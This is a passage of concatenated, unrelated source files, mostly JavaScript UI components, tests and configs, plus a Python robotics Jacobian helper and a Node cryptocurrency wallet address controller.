aria-label="Add new" id="closeButton"> <iron-icon icon="lumo:cross"></iron-icon> </vaadin-button> <img style="margin-left: 20%; height: 45px;" src="images/logo.png"> </vaadin-horizontal-layout> <img style="height: 100px; opacity: 0.75;" src="icons/user.png"> <label style="font-size: 13px;">Joined [[n]]</label> <vaadin-horizontal-layout style="align-self: stretch; justify-content: space-around; padding-right: var(--lumo-space-m); padding-left: var(--lumo-space-m);"> <vaadin-vertical-layout style="align-items: center;"> <label style="margin: 0px; font-weight: bold;">25</label> <label>My Wishlist</label> </vaadin-vertical-layout> <vaadin-vertical-layout style="align-items: center;"> <label style="margin: 0px; font-weight: bold;">786</label> <label>Following</label> </vaadin-vertical-layout> </vaadin-horizontal-layout> </vaadin-vertical-layout> <vaadin-vertical-layout theme="spacing" style="align-self: stretch; flex-grow: 1; border-radius: 15px 15px 0 0; z-index: 10; padding: var(--lumo-space-l); margin-top: var(--lumo-space-m); flex-shrink: 0; justify-content: flex-end;" class="shadow"> <vaadin-text-field label="Enter your name" style="align-self: stretch; background-color: transparent;" has-value value="[[names]]"> <div slot="prefix"> <iron-icon style="height: 20px;" icon="vaadin:user"></iron-icon> </div> </vaadin-text-field> <vaadin-horizontal-layout theme="spacing" style="align-self: stretch; margin-left: var(--lumo-space-l);"> <iron-icon icon="vaadin:envelope"></iron-icon> <label style="flex-grow: 1;">[[email]]</label> </vaadin-horizontal-layout> <vaadin-horizontal-layout theme="spacing" style="align-self: stretch; margin-left: var(--lumo-space-l);"> <iron-icon icon="vaadin:lock"></iron-icon> <label style="flex-grow: 1;">Change Password</label> </vaadin-horizontal-layout> <vaadin-horizontal-layout theme="spacing" style="align-self: stretch; margin-left: var(--lumo-space-l);"> <iron-icon icon="vaadin:qrcode"></iron-icon> <label style="flex-grow: 1;">QR Code</label> </vaadin-horizontal-layout> <vaadin-button style="align-self: center; margin-top: var(--lumo-space-xl);" theme="tertiary error" id="logoutButton"> Sign Out </vaadin-button> </vaadin-vertical-layout> </vaadin-vertical-layout> `; } static get is() { return 'profile-view'; } static get properties() { return { // Declare your properties here. }; } } customElements.define(ProfileView.is, ProfileView);
/** * Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community * Edition) available. * Copyright (C) 2017-2020 THL A29 Limited, a Tencent company. All rights reserved. * Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://opensource.org/licenses/MIT * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ import { uuid } from './uuid.js' const nodeFilter = { isNodeExisted (type, data) { if (type && data) { return data.some(item => { return item.type === type }) } }, getNodeTypeById (id, data) { let nodeIndex data.some((item, index) => { if (item.id === id) { nodeIndex = index return true } }) return data[nodeIndex].type }, getNewValidId (id, prefix = 'temp') { const reg = new RegExp('^[a-zA-Z]+') if (!reg.test(id)) { return `${prefix}${uuid()}` } return id }, convertInvalidIdData (key, primaryData) { const keysOfIdRelated = ['id', 'incoming', 'outgoing', 'source', 'target', 'conditions'] let newData = {} switch (key) { case 'activities': case 'flows': case 'gateways': for (const key in primaryData) { const newKey = this.getNewValidId(key) newData[newKey] = primaryData[key] keysOfIdRelated.forEach(item => { const val = newData[newKey][item] if (val !== undefined && val !== '') { if (typeof val === 'string') { newData[newKey][item] = this.getNewValidId(val) } else if (Array.isArray(val)) { newData[newKey][item] = val.map(v => { return this.getNewValidId(v) }) } if (item === 'conditions') { const newVal = {} for (const conditionId in val) { const newConditionId = this.getNewValidId(conditionId) newVal[newConditionId] = val[conditionId] } newData[newKey][item] = newVal } } }) } return newData case 'end_event': case 'start_event': newData = Object.assign({}, primaryData) keysOfIdRelated.forEach(item => { const val = newData[item] if (val !== undefined && val !== '') { newData[item] = this.getNewValidId(val) } }) return newData case 'line': newData = [...primaryData] newData.forEach((item, index) => { item.id = this.getNewValidId(item.id) item.source.id = this.getNewValidId(item.source.id) item.target.id = this.getNewValidId(item.target.id) }) return newData case 'location': newData = [...primaryData] newData.forEach((item) => { item.id = this.getNewValidId(item.id) }) return newData default: return primaryData } } } export default nodeFilter
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var express_1 = require("express"); var blog = express_1.Router(); var schema_1 = require("../db/schema"); blog.get('/', function (req, res, next) { schema_1.Blog.find({}, function (err, posts) { if (err) throw err; res.send(posts); }); // res.send("hi") }); blog.post('/', function (req, res, next) { var _a = req.body, title = _a.title, body = _a.body, author = _a.author; console.log(req.body.title); var newblog = new schema_1.Blog({ title: title, body: body, author: author }); // res.json({ newblog }) newblog.save(function (err) { if (err) throw err; res.json({ newblog: newblog }); }); }); exports.default = blog; //# sourceMappingURL=blog.js.map
import Vue from 'vue'; import DemoBlock from './components/DemoBlock'; import DemoSection from './components/DemoSection'; import { router } from './router'; import App from './App'; import '@vant/touch-emulator'; if (process.env.NODE_ENV !== 'production') { Vue.config.productionTip = false; } Vue.component(DemoBlock.name, DemoBlock); Vue.component(DemoSection.name, DemoSection); setTimeout(() => { new Vue({ el: '#app', render: h => h(App), router }); }, 0);
import React, { PropTypes } from 'react'; import classNames from 'classnames'; import './index.css'; const Table = (props) => { let componentClass = classNames('Table', props.className); return <table {...props} className={componentClass} />; }; Table.propTypes = { children: PropTypes.any, className: PropTypes.string } export default Table
/* * Copyright 2021 American Express Travel Related Services Company, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations * under the License. */ import { isDevelopment, getLocalRootModule, getModuleFromFilePath, openBrowser, } from '../../../src/utils/helpers'; jest.mock('open'); describe('isDevelopment', () => { const { NODE_ENV } = process.env; afterEach(() => { process.env.NODE_ENV = NODE_ENV; }); test('returns true when NODE_ENV is set to "development"', () => { process.env.NODE_ENV = 'development'; expect(isDevelopment()).toBe(true); }); test('returns false when NODE_ENV is set to "production"', () => { process.env.NODE_ENV = 'production'; expect(isDevelopment()).toBe(false); }); }); describe('getLocalRootModule', () => { test('accesses and returns a local root module', () => { const root = { rootModule: true }; const modules = [root, { rootModule: false }]; expect(getLocalRootModule({ modules })).toBe(root); }); test('returns undefined if no local root modules found', () => { const modules = [{ rootModule: false }, { rootModule: false }]; expect(getLocalRootModule({ modules })).toBeUndefined(); }); }); describe('getModuleFromFilePath', () => { test('matches a module from its file path', () => { const modulePath = '/path/to/module'; const filePath = `${modulePath}/browser.js`; const match = { modulePath }; const modules = [match]; expect(getModuleFromFilePath({ modules, filePath })).toBe(match); }); test('returns undefined if no local modules found', () => { const modulePath = '/path/to/module'; const filePath = `${modulePath}/browser.js`; const modules = [{ modulePath: '/another/path' }, { modulePath: '/path/to/other/module' }]; expect(getModuleFromFilePath({ modules, filePath })).toBeUndefined(); }); }); describe('openBrowser', () => { const open = require('open'); test('opens the default browser ', () => { const url = 'https://localhost:4000'; expect(openBrowser(url)).toBeUndefined(); expect(open).toHaveBeenCalledWith(url); }); });
import React from 'react'; import Routes from './routes'; import './style.css'; const App = () => { return( <div className="App"> <Routes /> </div> ) } export default App;
// Copyright 2009 the Sputnik authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /** * @name: S13.2.1_A4_T4; * @section: 13.2.1; * @assertion: Objects as arguments are passed by reference; * @description: Adding new number property to a function argument within the function body, * where array element "arguments[0]" is an object defined with "var __obj={}"; */ function __func(){ arguments[0]["E"]=2.74; } var __obj={}; __func(__obj); ////////////////////////////////////////////////////////////////////////////// //CHECK#1 if (__obj.E !== 2.74) { $ERROR('#1: __obj.E === 2.74. Actual: __obj.E ==='+__obj.E); } // //////////////////////////////////////////////////////////////////////////////
import React, { Component } from 'react'; import { bindActionCreators } from 'redux'; import { connect } from 'react-redux'; import Counter from '../components/Counter.js'; const mapStateToProps = state => ({ count: state, }); const mapDispatchToProps = (dispatch) => ({ increment: () => { dispatch({ type: 'INCREMENT' }) }, decrement: () => { dispatch({ type: 'DECREMENT' }) }, reset: () => { dispatch({ type: 'RESET' }) }, }); export default connect(mapStateToProps, mapDispatchToProps)(Counter);
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the "License"); you may not use this file * except in compliance with the License. You may obtain a copy of the License * at: * * http://opensource.org/licenses/ecl2.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. * */ 'use strict'; /** * @ngdoc directive * @name adminNg.directives.openModal * @description * Opens the modal with the name specified directive value. * * Optionally, a resource ID can be passed to the {@link adminNg.modal.ResourceModal service's show method}. * by setting the data attribute `resource-id` on the same element. * * @example * <a data-open-modal="recording-details" data-resource-id="82">details</a> */ angular.module('adminNg.directives') .directive('openModal', ['ResourceModal', function (ResourceModal) { return { link: function ($scope, element, attr) { element.bind('click', function () { ResourceModal.show(attr.openModal, attr.resourceId, attr.tab, attr.action); }); $scope.$on('$destroy', function () { element.unbind('click'); }); } }; }]);
// Copyright (c) 2012 Ecma International. All rights reserved. // Ecma International makes this code available under the terms and conditions set // forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the // "Use Terms"). Any redistribution of this code must retain the above // copyright and this notice and otherwise comply with the Use Terms. /*--- es5id: 15.2.3.9-2-a-3 description: > Object.freeze - 'P' is own data property that overrides an inherited accessor property includes: [propertyHelper.js] ---*/ var proto = {}; Object.defineProperty(proto, "foo", { get: function () { return 0; }, configurable: true }); var Con = function () { }; Con.prototype = proto; var child = new Con(); Object.defineProperty(child, "foo", { value: 10, configurable: true }); Object.freeze(child); verifyNotWritable(child, "foo"); verifyNotConfigurable(child, "foo"); assert.sameValue(child.foo, 10);
/** * Global set up code for the Mocha unit testing environment * * If you're looking to add polyfills for all unit tests, this is the place. */ import os from 'os'; import chai from 'chai'; import chaiAsPromised from 'chai-as-promised'; import chaiDOM from 'chai-dom'; import { JSDOM } from 'jsdom'; import '../../site-wide/moment-setup'; import ENVIRONMENTS from 'site/constants/environments'; // import sinon from 'sinon' global.__BUILDTYPE__ = process.env.BUILDTYPE || ENVIRONMENTS.VAGOVDEV; global.__API__ = null; global.__MEGAMENU_CONFIG__ = null; chai.use(chaiAsPromised); chai.use(chaiDOM); function filterStackTrace(trace) { return trace .split(os.EOL) .filter(line => !line.includes('node_modules')) .join(os.EOL); } /** * Sets up JSDom in the testing environment. Allows testing of DOM functions without a browser. */ export default function setupJSDom() { // if (global.document || global.window) { // throw new Error('Refusing to override existing document and window.'); // } // Prevent warnings from displaying /* eslint-disable no-console */ if (process.env.LOG_LEVEL === 'debug') { console.error = (error, reactError) => { if (reactError instanceof Error) { console.log(filterStackTrace(reactError.stack)); } else if (error instanceof Response) { console.log(`Error ${error.status}: ${error.url}`); } else if (error instanceof Error) { console.log(filterStackTrace(error.stack)); } else if (error?.includes?.('The above error occurred')) { console.log(error); } }; console.warn = () => {}; } else if (process.env.LOG_LEVEL === 'log') { console.error = () => {}; console.warn = () => {}; } /* eslint-enable no-console */ // setup the simplest document possible const dom = new JSDOM('<!doctype html><html><body></body></html>', { url: 'http://localhost', }); // get the window object out of the document const win = dom.window; global.dom = dom; global.document = win.document; global.window = win; global.navigator = { userAgent: 'node.js', }; win.VetsGov = { scroll: { duration: 0, delay: 0, smooth: false, }, }; win.Forms = { scroll: { duration: 0, delay: 0, smooth: false, }, }; win.dataLayer = []; win.scrollTo = () => {}; Object.defineProperty(win, 'sessionStorage', { value: global.sessionStorage, configurable: true, enumerable: true, writable: true, }); Object.defineProperty(win, 'localStorage', { value: global.localStorage, configurable: true, enumerable: true, writable: true, }); win.requestAnimationFrame = func => func(); win.matchMedia = () => ({ matches: false, }); global.Blob = window.Blob; function copyProps(src, target) { const props = Object.getOwnPropertyNames(src) .filter(prop => typeof target[prop] === 'undefined') .reduce( (result, prop) => ({ ...result, [prop]: Object.getOwnPropertyDescriptor(src, prop), }), {}, ); Object.defineProperties(target, props); } copyProps(win, global); } setupJSDom();
import React, { PureComponent, Fragment } from 'react'; import { connect } from 'dva'; import { formatMessage, FormattedMessage } from 'umi/locale'; import { Row, Col, Form, Input, Button, Card, Divider, message, Popconfirm, Checkbox, Tooltip, } from 'antd'; import NormalTable from '@/components/NormalTable'; import PageHeaderWrapper from '@/components/PageHeaderWrapper'; import ProcessTypeAdd from '@/pages/Platform/Basicdata/ProcessType/ProcessTypeAdd'; import ProcessTypeUpdate from '@/pages/Platform/Basicdata/ProcessType/ProcessTypeUpdate'; import styles from '../../Sysadmin/UserAdmin.less'; import { InfoCircleOutlined } from '@ant-design/icons'; import IntegratedQuery from '@/pages/tool/prompt/IntegratedQuery.js'; const FormItem = Form.Item; @connect(({ protype, loading }) => ({ protype, queryLoading: loading.effects['protype/fetch'], addLoading: loading.effects['protype/add'], })) @Form.create() class ProcessType extends PureComponent { state = { page: { pageSize: 10, pageIndex: 0 }, conditions: [], addVisible: false, updateVisible: false, updateRecord: {}, value: '' }; columns = [ { title: '工序编号', dataIndex: 'code', }, { title: '工序名称', dataIndex: 'name', }, { title: '生产线', dataIndex: 'productionlineName', }, { title: '时间单位', dataIndex: 'timetype', }, { title: '工作站', dataIndex: 'workstationtypeName', }, { title: '工作站数量', dataIndex: 'quantityofworkstations', }, { title: '工作站类型', dataIndex: 'assignedtooperation' }, { title: '准备时间', dataIndex: 'setuptime' }, { title: '拆卸时间', dataIndex: 'disassemblytime' }, { title: '首检类型', dataIndex: 'checktype' }, { title: '机器利用率', dataIndex: 'machineutilization' }, { title: '人工利用率', dataIndex: 'laborutilization' }, { title: '单位周期生产数量', dataIndex: 'productioninonecycle', }, { title: '区域', dataIndex: 'divisionName', }, { title: '加工时间', dataIndex: 'productiontime', }, { title: '传送时间', dataIndex: 'transfertime', }, { title: '等待时间', dataIndex: 'waitingtime', }, { title: '工序描述', dataIndex: 'description', }, { title: '是否检验点', dataIndex: 'checkFlag', render: (text, record) => { return <Checkbox checked={text} /> } }, { title: '是否激活', dataIndex: 'activeFlag', render: (text, record) => { return <Checkbox checked={text} /> } }, { title: '是否倒冲', dataIndex: 'backflushFlag', render: (text, record) => { return <Checkbox checked={text} /> } }, { title: '是否并行工序', dataIndex: 'parallelFlag', render: (text, record) => { return <Checkbox checked={text} /> } }, { title: '是否交接点', dataIndex: 'handoverFlag', render: (text, record) => { return <Checkbox checked={text} /> } }, { title: '是否计数点', dataIndex: 'countFlag', render: (text, record) => { return <Checkbox checked={text} /> } }, { title: formatMessage({ id: 'validation.operation' }), dataIndex: 'caozuo', fixed: 'right', render: (text, record) => ( <Fragment> <Popconfirm title="确定删除吗?" onConfirm={() => this.handleDelete(record)}> <a href="#javascript:;">删除</a> </Popconfirm> <Divider type="vertical" /> <a href="#javascript:;" onClick={(e) => this.update(e, record)}>编辑</a> </Fragment> ), }, ]; componentDidMount() { const { dispatch } = this.props; dispatch({ type: 'protype/fetch', payload: { pageIndex: 0, pageSize: 10 } }) } //点击删除 handleDelete = (record) => { const { dispatch } = this.props; dispatch({ type: 'protype/remove', payload: { reqData: { id: record.id } }, callback: (res) => { if (res.errMsg === '成功') { message.success('删除成功', 1, () => { const { page, value } = this.state; dispatch({ type: 'protype/fetch', payload: { ...page, reqData: { value } } }) }) } else { message.error("删除失败") } } }) }; //编辑 update = (e, record) => { e.preventDefault(); this.setState({ updateVisible: true, updateRecord: record }) } //展开-收起 toggleForm = () => { const { expandForm } = this.state; this.setState({ expandForm: !expandForm, }); }; handleCorpAdd = () => { this.setState({ addVisible: true }) } //查询 findList = (e) => { const { dispatch, form } = this.props; e.preventDefault(); form.validateFieldsAndScroll((err, values) => { const { code } = values; dispatch({ type: 'protype/fetch', payload: { reqData: { value: code } } }) this.setState({ value: code }) }) } //取消 handleFormReset = () => { const { dispatch, form } = this.props; this.setState({ page: { pageIndex: 0, pageSize: 10 }, value: '' }) //清空输入框 form.resetFields(); //清空后获取列表 dispatch({ type: 'protype/fetch', payload: { pageIndex: 0, pageSize: 10 } }) } renderForm() { const { form: { getFieldDecorator }, } = this.props; const { expandForm } = this.state return ( <Form onSubmit={this.findList} layout="inline"> <Row gutter={{ md: 8, lg: 24, xl: 48 }}> <Col md={8} sm={16}> <FormItem label='综合查询'> {getFieldDecorator('code')(<Input placeholder='请输入查询条件' suffix={ <Tooltip title={IntegratedQuery.ProcessType}> <InfoCircleOutlined style={{ color: 'rgba(0,0,0,.45)' }} /> </Tooltip> }/>)} </FormItem> </Col> <Col md={8} sm={16}> {/* <FormItem label='工序名称'> {getFieldDecorator('name')(<Input placeholder='请输入工序名称' />)} </FormItem> */} </Col> <Col md={8} sm={24}> <span> <Button type="primary" htmlType="submit"> 查询 </Button> <Button style={{ marginLeft: 8 }} onClick={this.handleFormReset}> 取消 </Button> </span> </Col> </Row> </Form> ); } //分页 handleStandardTableChange = (pagination, filtersArg, sorter) => { const { dispatch } = this.props; const { value } = this.state; const obj = { pageIndex: pagination.current - 1, pageSize: pagination.pageSize, reqData: { value } }; this.setState({ page: { pageIndex: pagination.current - 1, pageSize: pagination.pageSize, } }); dispatch({ type: 'protype/fetch', payload: obj, }); }; render() { const { queryLoading, addLoading, dispatch, protype: { data } } = this.props; const { page, addVisible, updateVisible, updateRecord,value } = this.state; const AddData = { visible: addVisible, loading:addLoading }; const AddOn = { onOk: (res, clear) => { dispatch({ type: 'protype/add', payload: { reqData: { ...res } }, callback: (res) => { if (res.errMsg === "成功") { message.success("新建成功", 1, () => { clear(); this.setState({ addVisible: false }); dispatch({ type: 'protype/fetch', payload: { ...page, reqData:{ value } } }) }) } else { clear(1); message.error("新建失败") } } }) }, onCancel: (clear) => { clear(); this.setState({ addVisible: false }) } }; const UpdateData = { visible: updateVisible, record: updateRecord, loading:addLoading }; const UpdateOn = { onOk: (res, clear) => { dispatch({ type: 'protype/add', payload: { reqData: { ...res } }, callback: (res) => { if (res.errMsg === "成功") { message.success("编辑成功", 1, () => { clear(); this.setState({ updateVisible: false, updateRecord: {} }); dispatch({ type: 'protype/fetch', payload: { ...page, reqData:{ value } } }) }) } else { clear(1); message.error("编辑失败") } } }) }, onCancel: (clear) => { clear(); this.setState({ updateVisible: false, updateRecord: {} }) } }; return ( <PageHeaderWrapper> <Card bordered={false}> <div className={styles.userAdminForm}>{this.renderForm()}</div> <NormalTable loading={queryLoading} data={data} columns={this.columns} classNameSaveColumns={"processType1"} onChange={this.handleStandardTableChange} title={() => <Button icon="plus" onClick={this.handleCorpAdd} type="primary" > 新建 </Button>} /> <ProcessTypeAdd on={AddOn} data={AddData} /> <ProcessTypeUpdate on={UpdateOn} data={UpdateData} /> </Card> </PageHeaderWrapper> ); } } export default ProcessType;
## Make chomp optimization import importlib import roboticstoolbox as rtb from roboticstoolbox.tools.profiler import Profiler from spatialmath import SE3 from spatialgeometry import * import numpy as np import trimesh import time import math from numba import vectorize fknm_ = None PATH = "/home/jerry/Projects/Motion/robotics-toolbox-python/roboticstoolbox/cuda/fknm" def vmatmul(mat1, mat2): # mat1: (N, a, b) # mat2: (N, b) # out: (N, a) return np.matmul(mat1, mat2[:, :, None]).squeeze(-1) def vmmatmul(mat1, mat2): # mat1: (N, a, ..., b) # mat2: (N, b) # out: (N, a, ...) mat2 = mat2[:, None, :, None] while len(mat2.shape) < len(mat1.shape): mat2 = mat2[:, None] return np.matmul(mat1, mat2).squeeze(-1) def vrepeat(vec, N): # vec: (...) # out: (N, ...) return np.repeat(vec[None, :], N, axis=0) def jacob0_pts_loop(robot, link, pts, jacob_vec, qt=None): """ Non-parallel, use for loop :param pts: (num, 3) xyz positions of pts :param q: (cdim,) joint configurations :param jacob_vec: (num, 6, njoints) """ if qt is None: qt = robot.q for ip, pt in enumerate(pts): JJ = robot.jacob0(qt, end=link, tool=SE3(pt)) # (k, 6) jacob_vec[ip] = JJ def jacob0_pts_vec(robot, end, pts, jacob_vec, qt=None, verbose=False): """ Parallel, use CUDA :param pts: (num, 3) xyz positions of pts :param q: (cdim,) joint configurations :param jacob_vec: (num, 6, njoints) """ import ctypes as ct global fknm_ if qt is None: qt = robot.q if fknm_ is None: fknm_=np.ctypeslib.load_library(PATH,'.') # Parallel, use cuda N = len(pts) pts_tool = vrepeat(np.eye(4), N) pts_tool[:, :3, 3] = pts link_base = robot.fkine(qt, end=end) # pts_mat = np.array((link_base @ se3_pts).A) # pts_mat = np.array(link_base.A.dot(pts_tool).swapaxes(0, 1), order='C') # pts_mat = np.einsum('ij,ljk->lik', link_base.A, pts_tool) # pts_mat = np.ascontiguousarray(link_base.A.dot(pts_tool).swapaxes(0, 1)) pts_mat = np.matmul(vrepeat(link_base.A, N), pts_tool) # e_pts = np.zeros((N, 3)) # pts_etool = np.array(SE3(e_pts).A) pts_etool = vrepeat(np.eye(4), N) link_As = [] link_axes = [] link_isjoint = [] path, njoints, _ = robot.get_path(end=end) nlinks = len(path) for il, link in enumerate(path): axis = get_axis(link) # print(il, link.isjoint) if link.isjoint: link_As.append(link.A(qt[link.jindex]).A) else: link_As.append(link.A().A) link_axes.append(axis) link_isjoint.append(link.isjoint) # print(nlinks) nlinks_pt = np.ones(N, dtype=int) * nlinks link_As = np.array(link_As)[None, :].repeat(N, axis=0) link_axes = np.array(link_axes, dtype=int) link_isjoint = np.array(link_isjoint, dtype=int) # import pdb; pdb.set_trace() if verbose: print(f"pts shape {pts_mat.shape}") print(f"pts_tool shape {pts_tool.shape}") print(f"pts_etool shape {pts_etool.shape}") print(f"link_As shape {link_As.shape}") print(f"link_axes shape {link_axes.shape}") print(f"link_isjoint shape {link_isjoint.shape}") print(f"jacob_vec shape {jacob_vec.shape}") print(f"nlinks {nlinks}") print(f"njoints {njoints}") print(f"N {N}") with Profiler("vec 2", enable=False): # with Profiler("vec 2"): fknm_.jacob0(pts_mat.ctypes.data_as(ct.c_void_p), pts_tool.ctypes.data_as(ct.c_void_p), pts_etool.ctypes.data_as(ct.c_void_p), ct.c_void_p(link_As.ctypes.data), nlinks_pt.ctypes.data_as(ct.c_void_p), link_axes.ctypes.data_as(ct.c_void_p), link_isjoint.ctypes.data_as(ct.c_void_p), ct.c_int(N), ct.c_int(nlinks), ct.c_int(njoints), jacob_vec.ctypes.data_as(ct.c_void_p)) def jacob0_vec(robot, nq, njoints, link_bases, pts, jacob_vec, qt=None, verbose=False): """ Parallel, use CUDA :param link_bases: (nq * njoints, 4, 4) :param pts: (nq * njoints * num_pts, 3) xyz positions of pts :param q: (cdim,) joint configurations :param jacob_vec: (nq * njoints * num_pts, 6, njoints) """ import ctypes as ct global fknm_ if qt is None: qt = np.tile(np.array(robot.q), nq) if fknm_ is None: fknm_=np.ctypeslib.load_library(PATH,'.') # Parallel, use cuda N = len(pts) num_pts = int(N / len(link_bases)) pts_tool = vrepeat(np.eye(4), N) # (nq * njoints * num_pts, 4, 4) pts_tool[:, :3, 3] = pts r_bases = np.repeat(link_bases[:, None], num_pts, axis=1) # (nq * njoints, num_pts, 4, 4) r_bases = r_bases.reshape(-1, 4, 4) # (nq * njoints * num_pts, 4, 4) pts_mat = np.matmul(r_bases, pts_tool) # (nq * njoints * num_pts, 4, 4) pts_etool = vrepeat(np.eye(4), N) # (nq * njoints * num_pts, 4, 4) link_As = [] link_axes = [] link_isjoint = [] end = None # None, 1, 2, ..., 7 (last link), .... for il, link in enumerate(robot.links): if link.jindex is not None: end = link path, njoints, _ = robot.get_path(end) nlinks = len(path) nlinks_pt = [] for iq in range(nq): curr_links = 0 qt_i = qt[njoints * iq: njoints * (iq + 1)] for il, link in enumerate(path): axis = get_axis(link) curr_links += 1 if link.isjoint: link_As.append(link.A(qt_i[link.jindex]).A) nlinks_pt.append(curr_links) else: link_As.append(link.A().A) if iq == 0: # only need 1 copy link_axes.append(axis) link_isjoint.append(link.isjoint) link_As = np.array(link_As).reshape(nq, nlinks, 4, 4) # (nq, nlinks, 4, 4) link_As = link_As.repeat(njoints * num_pts, axis=0) # (nq * njoints * num_pts, nlinks, 4, 4) link_axes = np.array(link_axes, dtype=int) link_isjoint = np.array(link_isjoint, dtype=int) nlinks_pt = np.tile(np.array(nlinks_pt, dtype=int).repeat(num_pts), nq) if verbose: print(f"pts shape {pts_mat.shape}") print(f"pts_tool shape {pts_tool.shape}") print(f"pts_etool shape {pts_etool.shape}") print(f"link_As shape {link_As.shape}") print(f"link_axes shape {link_axes.shape}") print(f"link_isjoint shape {link_isjoint.shape}") print(f"jacob_vec shape {jacob_vec.shape}") print(f"nlinks {nlinks}") print(f"njoints {njoints}") print(f"N {N}") with Profiler("vec 2", enable=False): # with Profiler("vec 2"): fknm_.jacob0(pts_mat.ctypes.data_as(ct.c_void_p), pts_tool.ctypes.data_as(ct.c_void_p), pts_etool.ctypes.data_as(ct.c_void_p), ct.c_void_p(link_As.ctypes.data), nlinks_pt.ctypes.data_as(ct.c_void_p), link_axes.ctypes.data_as(ct.c_void_p), link_isjoint.ctypes.data_as(ct.c_void_p), ct.c_int(N), ct.c_int(nlinks), ct.c_int(njoints), jacob_vec.ctypes.data_as(ct.c_void_p)) def get_axis(link): axis = None if not link.isjoint: axis = -1 elif link._v.axis == "Rx": axis = 0 elif link._v.axis == "Ry": axis = 1 elif link._v.axis == "Rz": axis = 2 elif link._v.axis == "tx": axis = 3 elif link._v.axis == "ty": axis = 4 elif link._v.axis == "tz": axis = 5 else: raise NotImplementedError return axis
const WalletModel = require('../models/Wallet'); const Address = require('../models/Address'); const axios = require('axios'); const _ = require('lodash'); const bitcore = require('rapids-lib'); const network = 'livenet'; // or 'testnet' const explorerAPI = 'https://rapidsexplorer.com'; // Change this to RapidsExplorer let balance; let account; const AddressController = () => { const getAddress = async (req, res) => { const { body, query } = req; const walletId = body.walletId || query.walletId; if (walletId) { try { // Get walletId from the db clean it const walletFromDB = await WalletModel.findAll({ where: { walletId, }, }); objects = JSON.stringify(walletFromDB); cal = JSON.parse(objects); // Get the stored adddress address = await Address.findAll({ where: { walletId: cal[0].id, }, }); addr = JSON.stringify(address); addres = JSON.parse(addr); address = addres[0].address; await getBalance(address); return res.status(200).json({ balance }); } catch (err) { return res.status(500).json({ msg: 'Internal server error', err }); } } return res.status(400).json({ msg: 'Bad Request: Address field is must' }); }; const generateAddress = async (req, res) => { const { body, query } = req; const walletId = body.walletId || query.walletId; if (walletId) { try { // We get wallet const walletFromDB = await WalletModel.findAll({ where: { walletId, }, }); data = await conversions(walletFromDB); console.log(data[0].id) // We need to fetch the private key and generate public address const privateKey = new bitcore.PrivateKey(data[0].privateKey); const pubKey = privateKey.toPublicKey(); const address = pubKey.toAddress(bitcore.Networks.livenet); const rapidsAddress = address.toString(); // Now we can save the address const dataToPost = await Address.create({ network: 'livenet', address: address.toString(), WalletId: data[0].id, }); return res.status(200).json({ rapidsAddress }); } catch (err) { return res.status(500).json({ msg: 'Internal Server Error', err }); } } return res.status(400).json({ msg: 'Bad Request: Wallet Id field is must' }); }; // / I need to be able to fetch balance from the API const getBalance = async (address) => { pathAPI = `${explorerAPI}/ext/getaddress/${address}`; await axios.get(pathAPI).then((response) => { console.log(response.data); if (_.isEmpty(response.data)) { balance = { msg: 'This address has not UTXO found' }; return ({ msg: 'This address has not UTXO found' }); } balance = response.data; return response.data; }) .catch((error) => { console.log(error); }); }; const conversions = async (obj) => { objects = JSON.stringify(obj); cal = JSON.parse(objects); return cal; }; return { getAddress, generateAddress }; }; module.exports = AddressController;
// Karma configuration file, see link for more information // https://karma-runner.github.io/1.0/config/configuration-file.html module.exports = function (config) { config.set({ basePath: '', frameworks: ['jasmine', '@angular-devkit/build-angular'], plugins: [ require('karma-jasmine'), require('karma-chrome-launcher'), require('karma-jasmine-html-reporter'), require('karma-coverage'), require('@angular-devkit/build-angular/plugins/karma') ], client: { jasmine: { // you can add configuration options for Jasmine here // the possible options are listed at https://jasmine.github.io/api/edge/Configuration.html // for example, you can disable the random execution with `random: false` // or set a specific seed with `seed: 4321` }, clearContext: false // leave Jasmine Spec Runner output visible in browser }, jasmineHtmlReporter: { suppressAll: true // removes the duplicated traces }, coverageReporter: { dir: require('path').join(__dirname, './coverage/dataspire-lite'), subdir: '.', reporters: [ {type: 'html'}, {type: 'text-summary'} ] }, reporters: ['progress', 'kjhtml'], port: 9876, colors: true, logLevel: config.LOG_INFO, autoWatch: true, browsers: ['Chrome'], singleRun: false, restartOnFileChange: true }); };
import React ,{Component} from 'react'; import { StyleSheet, Text, View, Image,Dimensions, StatusBar, ScrollView,TouchableWithoutFeedback,TouchableOpacity,ImageBackground,Modal,TouchableHighlight } from 'react-native'; import Carousel from 'react-native-snap-carousel'; export class MyCarousel extends Component { constructor(props) { super(); this.state = { stories: [ { id: "WpIAc9by5iU", story: require('./assets/welcome1.jpg'), title: "photo1" }, { id: "sNPnbI1arSE", story: require('./assets/insta-maid1.jpg'), title: "photo2" }, { id: "VOgFZfRVaww", story: require('./assets/insta-loli1.jpg'), title: "photo3" } ] } } _renderItem ({item, index}) { return ( <View style={styles.slide}> <Text style={styles.title}>{ item.title }</Text> </View> ); } render () { return ( <Carousel ref={(c) => { this._carousel = c; }} data={this.state.entries} renderItem={this._renderItem} sliderWidth={sliderWidth} itemWidth={itemWidth} /> ); } } const styles = StyleSheet.create({ welcomeImages:{ height: Dimensions.get('window').height, width: Dimensions.get('window').width, resizeMode: 'cover', zIndex: 0, position: 'relative', 